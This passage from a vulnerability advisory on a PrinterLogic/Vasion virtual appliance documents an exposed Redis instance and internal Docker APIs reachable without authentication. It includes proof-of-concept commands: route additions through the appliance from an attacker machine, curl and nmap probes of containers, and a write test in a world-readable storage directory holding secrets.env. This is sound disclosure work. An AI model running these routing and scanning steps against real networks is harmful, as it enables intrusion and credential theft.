            "SandboxID": "3aa3895b4d208b6e938c5e11729dfc07522858896f2cd91b1666b51f7b6d8811",
                        "IPv4Address": "172.17.130.35"
                    "IPAddress": "172.17.130.35",
root@printerlogic:~#
</code></pre>
<p>From <code>printerlogic/scd:1.0.70</code>, there is a full access to the redis instance. </p>
<pre><code>bash-5.0# nc 172.17.130.21 6379
HELO
-ERR unknown command `HELO`, with args beginning with:
</code></pre>
<p>All the Docker instances have access to the redis instance, meaning it is possible from any docker instance to execute commands on the Redis instance using master/slave replication (<a href="https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec/">https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec/</a>).</p>
<p>An attacker compromising a Docker instance can use lateral movement to compromise other Docker instances. Compromising the Redis instance is trivial.</p>
<p><a id="va-insecure-access-docker-instances-from-wan"></a></p>
<h2>Details - Insecure access to Docker instances from the WAN</h2>
<p>An attacker with a machine located on the same network segment (layer 2) can add a route to the IPs of Docker instances using the external IP of the solution as a gateway. He will then be able to reach internal services running inside Docker instances - PrinterLogic will act as a network gateway, providing access to the internal Docker instances.</p>
<p>Proof of Concept:</p>
<p>On the machine running PrinterLogic VA, the docker instance <code>printerlogic/ebc</code> uses 2 IPs (<code>172.17.130.74</code> and <code>172.17.0.156</code>):</p>
<p>Configuration of <code>printerlogic/ebc</code>:</p>
<pre><code>root@printerlogic:/var/lib/docker/overlay2# docker ps | grep printerlogic/ebc:1.0.34
d61d429548aa        printerlogic/ebc:1.0.34          "/var/www/app/.docke"  3 hours ago         Up 3 hours (healthy)   80/tcp, 9229/tcp                 printercloud_ebc.1.iat3at5k4neth8k016wz5cjq3
root@printerlogic:/var/lib/docker/overlay2# docker exec -it d61d429548aa /bin/bash
bash-5.0# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:82:4A  
          inet addr:172.17.130.74  Bcast:172.17.131.255  Mask:255.255.254.0
          UP BROADCAST RUNNING MULTICAST  MTU:1424  Metric:1
          RX packets:76 errors:0 dropped:0 overruns:0 frame:0
          TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:7533 (7.3 KiB)  TX bytes:4160 (4.0 KiB)

eth1      Link encap:Ethernet  HWaddr 02:42:AC:11:00:9C  
          inet addr:172.17.0.156  Bcast:172.17.0.255  Mask:255.255.255.128
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:124 errors:0 dropped:0 overruns:0 frame:0
          TX packets:86 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:8599 (8.3 KiB)  TX bytes:36949 (36.0 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:9376 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9376 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1319224 (1.2 MiB)  TX bytes:1319224 (1.2 MiB)

bash-5.0#
</code></pre>
<p>From the attacker machine, it is required to add routes to internal IP of Docker instances, using the IP of the PrinterLogic server as a gateway (10.105.0.241).</p>
<p>Adding a route to rach a Docker instance:</p>
<pre><code>kali# route add -host 172.17.0.156 gw 10.105.0.241
kali# traceroute -nI 172.17.0.156 
traceroute to 172.17.0.156 (172.17.0.156), 30 hops max, 60 byte packets
 1  10.105.0.241  0.269 ms  0.259 ms  0.259 ms
 2  172.17.0.156  0.441 ms  0.459 ms  0.460 ms
</code></pre>
<p>It is now possible to interact with the internal webserver running on the Docker instance with the IP 172.16.0.156 (<code>printerlogic/ebb</code>):</p>
<pre><code>kali% curl -kv http://172.17.0.156/
*   Trying 172.17.0.156:80...
* Connected to 172.17.0.156 (172.17.0.156) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; Host: 172.17.0.156
&gt; User-Agent: curl/7.79.1
&gt; Accept: */*
&gt; 
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 302 Found
&lt; Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
* Connection #0 to host 172.17.0.156 left intact
Found. Redirecting to /api-docs
%
</code></pre>
<p>We have a full access to the internal webserver running inside a Docker instance</p>
<p>By default, the <code>docker_gwbridge</code> network will be reachable from the WAN. This network is used by the Docker instances to get connectivity:</p>
<p>Docker network configuration:</p>
<pre><code>root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
7a0cd0d79106        bridge              bridge              local
a0f7589c4c27        cicd_default        bridge              local
yyeicsrfgvdj        config_default      overlay             swarm
7d70cb612a96        docker_gwbridge     bridge              local
e500f5cc9286        host                host                local
g13ns8jd9aw9        ingress             overlay             swarm
22493bb20f06        none                null                local
03r08ptuv9li        printercloud        overlay             swarm
19d8681ed357        secrets_default     bridge              local
tke7a3glgyqe        storage_default     overlay             swarm
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker network inspect docker_gwbridge | grep 172
                    "Subnet": "172.17.0.128/25",
                    "Gateway": "172.17.0.129"
                "IPv4Address": "172.17.0.169/25",
                "IPv4Address": "172.17.0.145/25",
                "IPv4Address": "172.17.0.134/25",
                "IPv4Address": "172.17.0.136/25",
</code></pre>
<p>We can add routes for the entire 172.17.0.0/16 IP range:</p>
<pre><code>kali# route add -net 172.17.0.0/16 gw 10.105.0.241
</code></pre>
<p>An attacker scanning the first /24 IP range will detect 29 open HTTP servers.</p>
<p>Full access to all the internal webserver providing APIs without authentication:</p>
<pre><code>kali% nmap -sT -p 80 -v -Pn -n -sV 172.17.0.0/24 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-08 04:37 EST
NSE: Loaded 45 scripts for scanning.
Initiating Connect Scan at 04:37
Scanning 256 hosts [1 port/host]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 80/tcp on 172.17.0.135
Discovered open port 80/tcp on 172.17.0.138
Discovered open port 80/tcp on 172.17.0.141
Discovered open port 80/tcp on 172.17.0.142
Discovered open port 80/tcp on 172.17.0.129
Discovered open port 80/tcp on 172.17.0.143
Discovered open port 80/tcp on 172.17.0.146
Discovered open port 80/tcp on 172.17.0.147
Discovered open port 80/tcp on 172.17.0.149
Discovered open port 80/tcp on 172.17.0.151
Discovered open port 80/tcp on 172.17.0.152
Discovered open port 80/tcp on 172.17.0.155
Discovered open port 80/tcp on 172.17.0.156
Discovered open port 80/tcp on 172.17.0.157
Discovered open port 80/tcp on 172.17.0.159
Discovered open port 80/tcp on 172.17.0.160
Discovered open port 80/tcp on 172.17.0.161
Discovered open port 80/tcp on 172.17.0.162
Discovered open port 80/tcp on 172.17.0.163
Discovered open port 80/tcp on 172.17.0.164
Discovered open port 80/tcp on 172.17.0.165
Discovered open port 80/tcp on 172.17.0.166
Discovered open port 80/tcp on 172.17.0.167
Discovered open port 80/tcp on 172.17.0.168
Discovered open port 80/tcp on 172.17.0.169
Discovered open port 80/tcp on 172.17.0.130
Discovered open port 80/tcp on 172.17.0.140
Discovered open port 80/tcp on 172.17.0.144
</code></pre>
<p>When these webservers are accessed through a browser, it appears there are internal webservers providing APIs. The attacker will have a full access to these servers without authentication.    </p>
<p>Full access to all the internal webserver providing APIs, without authentication</p>
<p><img alt="" src="images/2025-vasion-report-1-api-01.png" /></p>
<p><a href="images/2025-vasion-report-1-api-01-full.png">Click here for full image</a></p>
<p>Full access to all the internal webserver providing APIs, without authentication</p>
<p><img alt="" src="images/2025-vasion-report-1-api-02.png" /></p>
<p><a href="images/2025-vasion-report-1-api-02-full.png">Click here for full image</a></p>
<p>Full access to all the internal webserver providing APIs, without authentication</p>
<p><img alt="" src="images/2025-vasion-report-1-api-03.png" /></p>
<p><a href="images/2025-vasion-report-1-api-03-full.png">Click here for full image</a></p>
<p>An attacker located on the same network segment can reach internal services and bypass the entire security of the solution.</p>
<p>The attack surface is very large because of the exposure of the internal Docker instances.</p>
<p>For example, an attacker reaching the previous Redis instance will achieve a Remote Code Execution against the appliance.</p>
<p><a id="va-insecure-security-architecture"></a></p>
<h2>Details - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution</h2>
<p>The directory <code>/var/www/efs_storage</code> contains all the configuration files of the appliance. A read/write access to this directory will allow an attacker to compromise the appliance.</p>
<p>It appears the Docker instances have access to <code>/var/www/efs_storage</code>, as shown below.</p>
<p>Docker instances with access to <code>/var/www/efs_storage</code>:</p>
<pre><code>16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh"  4 hours ago Up 4 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
                    "Source": "/var/www/efs_storage",
                    "Target": "/var/www/efs_storage"
                "Source": "/var/www/efs_storage",
                "Destination": "/var/www/efs_storage",
                "APPLIANCE_STORAGE_TARGET=/var/www/efs_storage",
                "SHARED_STORAGE=/var/www/efs_storage",

9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/null",
                "SHARED_STORAGE=/var/www/efs_storage",

a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.jx70uxweg3iown085yiuis4j6
                "SHARED_STORAGE=/var/www/efs_storage",

7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
                "SHARED_STORAGE=/var/www/efs_storage",

69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "SHARED_STORAGE=/var/www/efs_storage",

d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
                "SHARED_STORAGE=/var/www/efs_storage",

ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
                "SHARED_STORAGE=/var/www/efs_storage",

0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
                "SHARED_STORAGE=/var/www/efs_storage",

6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 4 hours ago Up 4 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
                "SHARED_STORAGE=/var/www/efs_storage",

11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" 4 hours ago Up 4 hours (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.dfwyt1m90ab30k75fogxhcxcz
                    "Source": "/var/www/efs_storage",
                "Source": "/var/www/efs_storage",

7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "SHARED_STORAGE=/var/www/efs_storage",

bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/null",
                "SHARED_STORAGE=/var/www/efs_storage",

f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
                "SHARED_STORAGE=/var/www/efs_storage",

9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
                "SHARED_STORAGE=/var/www/efs_storage",

a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
                    "Source": "/var/www/efs_storage/users/storage",
                "Source": "/var/www/efs_storage/users/storage",
                "SHARED_STORAGE=/var/www/efs_storage",

b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/null",
                "SHARED_STORAGE=/var/www/efs_storage",

77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
                    "Source": "/var/www/efs_storage/mysql",
                    "Source": "/var/www/efs_storage/exodus",
                "Source": "/var/www/efs_storage/mysql",
                "Source": "/var/www/efs_storage/exodus",

b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
                "SHARED_STORAGE=/var/www/efs_storage",

ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/storage",
                "Source": "/var/www/efs_storage/pi/storage/api",
                "Source": "/var/www/efs_storage/pi/storage/app",
                "Source": "/var/www/efs_storage/pi/storage/framework/sessions",
                "Source": "/var/www/efs_storage/null",
                "Source": "/var/www/efs_storage/pi/cache",
                "Source": "/var/www/efs_storage/null",
                "SHARED_STORAGE=/var/www/efs_storage",

f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
                "SHARED_STORAGE=/var/www/efs_storage",

9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead
                "SHARED_STORAGE=/var/www/efs_storage",

0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 4 hours ago Up 4 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
                "SHARED_STORAGE=/var/www/efs_storage",

bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
                "SHARED_STORAGE=/var/www/efs_storage",

bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
                "SHARED_STORAGE=/var/www/efs_storage",

171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
                "SHARED_STORAGE=/var/www/efs_storage",

a7656e45349d traefik:latest "/srv/entrypoint.sh " 4 hours ago Up 4 hours 80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
                    "Source": "/var/www/efs_storage/certs",
                    "Source": "/var/www/efs_storage/pi/storage/certs",
                    "Target": "/var/www/efs_storage/pi/storage/certs",
                "Source": "/var/www/efs_storage/pi/storage/certs",
                "Destination": "/var/www/efs_storage/pi/storage/certs",
                "Source": "/var/www/efs_storage/certs",

8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
                "SHARED_STORAGE=/var/www/efs_storage",

e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
                "SHARED_STORAGE=/var/www/efs_storage",

5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
                "SHARED_STORAGE=/var/www/efs_storage",

d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
                "SHARED_STORAGE=/var/www/efs_storage",

fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 4 hours ago Up 4 hours 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
                "SHARED_STORAGE=/var/www/efs_storage",

294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
                    "Source": "/var/www/efs_storage/scd/storage",
                "Source": "/var/www/efs_storage/scd/storage",
                "SHARED_STORAGE=/var/www/efs_storage",

6cb464ab04b7 portainer/agent:latest "./agent" 4 hours ago Up 4 hours printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j

55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.vwp9poc8belv24mxwijeeetct
                    "Source": "/var/www/efs_storage/pq/storage",
                "Source": "/var/www/efs_storage/pq/storage",
                "SHARED_STORAGE=/var/www/efs_storage",

a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
                    "Source": "/var/www/efs_storage/ofn/storage",
                "Source": "/var/www/efs_storage/ofn/storage",
                "SHARED_STORAGE=/var/www/efs_storage",

317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
                "SHARED_STORAGE=/var/www/efs_storage",

6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 4 hours ago Up 4 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
                    "Source": "/var/www/efs_storage/client/ppd",
                    "Source": "/var/www/efs_storage/client/printers",
                    "Source": "/var/www/efs_storage/client/jobs",
                    "Source": "/var/www/efs_storage/logs/client",
                    "Source": "/var/www/efs_storage/client/tmp",
                    "Source": "/var/www/efs_storage/client/etc",
                "Source": "/var/www/efs_storage/client/tmp",
                "Source": "/var/www/efs_storage/client/etc",
                "Source": "/var/www/efs_storage/client/ppd",
                "Source": "/var/www/efs_storage/client/printers",
                "Source": "/var/www/efs_storage/client/jobs",
                "Source": "/var/www/efs_storage/logs/client",

1d856b21e63d redis:5-alpine "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6

a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
                "SHARED_STORAGE=/var/www/efs_storage",

022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 4 hours cicd_hive_1
                "/var/www/efs_storage:/var/www/efs_storage:rw",
                "Source": "/var/www/efs_storage",
                "Destination": "/var/www/efs_storage",
                "/var/www/efs_storage": {}
</code></pre>
<p>Testing a random docker instance will confirm there is a full access to the <code>/var/www/efs_storage</code> directory. A <code>test</code> directory will be created in <code>/var/www/efs_storage</code> from the <code>printerlogic/va-api</code> instance:</p>
<pre>
root@printerlogic:/var/www/efs_storage# docker ps|grep api
16178d2bccb2        printerlogic/va-api:1.1.4        "/opt/entrypoint.sh "   5 hours ago         Up 5 hours (healthy)   80/tcp                           printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
root@printerlogic:/var/www/efs_storage# docker exec -it 16178d2bccb2 /bin/sh
/ # cd /var/www/efs_storage
/var/www/efs_storage # ls -la 
total 96
drwxrwsr-x   18 xfs      ping          4096 Feb  2 08:15 .
drwxr-xr-x    1 root     root          4096 Oct 13 16:29 ..
drwxrwsr-x    6 root     ping          4096 Jan 28 02:28 .hive
drwxrwsr-x    2 1000     ping          4096 Jan 27 09:36 .secrets
-rw-rw-r--    1 1000     ping            56 Jan 27 10:16 .update_history
drwxrwsr-x    3 root     ping          4096 Jan 27 10:18 .updates
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:37 certs
drwxrwsr-x    7 1000     ping          4096 Jan 27 09:37 client
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 exodus
drwxrwsr-x    4 1000     ping          4096 Jan 27 09:37 logs
drwxrwsr-x    2 root     ping         16384 Jan 27 09:34 lost+found
drwxrwsr-x   18 999      ping          4096 Feb  2 03:37 mysql
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 null
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 ofn
drwxr-sr-x    6 root     root          4096 Jan 27 10:18 pc-sys
drwxrwsr-x    4 1000     ping          4096 Jan 27 09:36 pi
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 pq
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 scd
-rwxrwsr-x    1 root     ping          3519 Jan 27 09:36 secrets.env
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 users
/var/www/efs_storage # <font color=red>mkdir test</font>
/var/www/efs_storage # ls -la
total 100
drwxrwsr-x   19 xfs      ping          4096 Feb  2 08:15 .
drwxr-xr-x    1 root     root          4096 Oct 13 16:29 ..
drwxrwsr-x    6 root     ping          4096 Jan 28 02:28 .hive
drwxrwsr-x    2 1000     ping          4096 Jan 27 09:36 .secrets
-rw-rw-r--    1 1000     ping            56 Jan 27 10:16 .update_history
drwxrwsr-x    3 root     ping          4096 Jan 27 10:18 .updates
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:37 certs
drwxrwsr-x    7 1000     ping          4096 Jan 27 09:37 client
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 exodus
drwxrwsr-x    4 1000     ping          4096 Jan 27 09:37 logs
drwxrwsr-x    2 root     ping         16384 Jan 27 09:34 lost+found
drwxrwsr-x   18 999      ping          4096 Feb  2 03:37 mysql
drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 null
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 ofn
drwxr-sr-x    6 root     root          4096 Jan 27 10:18 pc-sys
drwxrwsr-x    4 1000     ping          4096 Jan 27 09:36 pi
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 pq
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 scd
-rwxrwsr-x    1 root     ping          3519 Jan 27 09:36 secrets.env
<font color=red>drwxrwsr-x    2 root     ping          4096 Feb  2 08:15 test</font>
drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 users
/var/www/efs_storage #
</pre>

<p>Furthermore, the directory <code>/var/www/efs_storage</code> contains credentials used by the appliance. By default, everything is world-readable.</p>
<p>Listing of <code>/var/www/efs_storage</code>:</p>
<pre>
root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/
total 92
drwxrwsr-x+ 18 www-data docker  4096 Jan 27 10:18 .
drwxrwsr-x+  6 ubuntu   docker  4096 Dec 28 18:10 ..
drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:37 certs
drwxrwsr-x+  7 ubuntu   docker  4096 Jan 27 09:37 client
drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:36 exodus
drwxrwsr-x+  6 root     docker  4096 Jan 28 02:28 .hive
drwxrwsr-x+  4 ubuntu   docker  4096 Jan 27 09:37 logs
drwxrwsr-x+  2 root     docker 16384 Jan 27 09:34 lost+found
drwxrwsr-x+ 18      999 docker  4096 Feb  2 03:37 mysql
drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:36 null
drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 ofn
drwxr-sr-x+  6 root     root    4096 Jan 27 10:18 pc-sys
drwxrwsr-x+  4 ubuntu   docker  4096 Jan 27 09:36 pi
drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 pq
drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 scd
drwxrwsr-x+  2 ubuntu   docker  4096 Jan 27 09:36 .secrets
<font color=red>-rwxrwsr-x+  1 root     docker  3519 Jan 27 09:36 secrets.env</font>
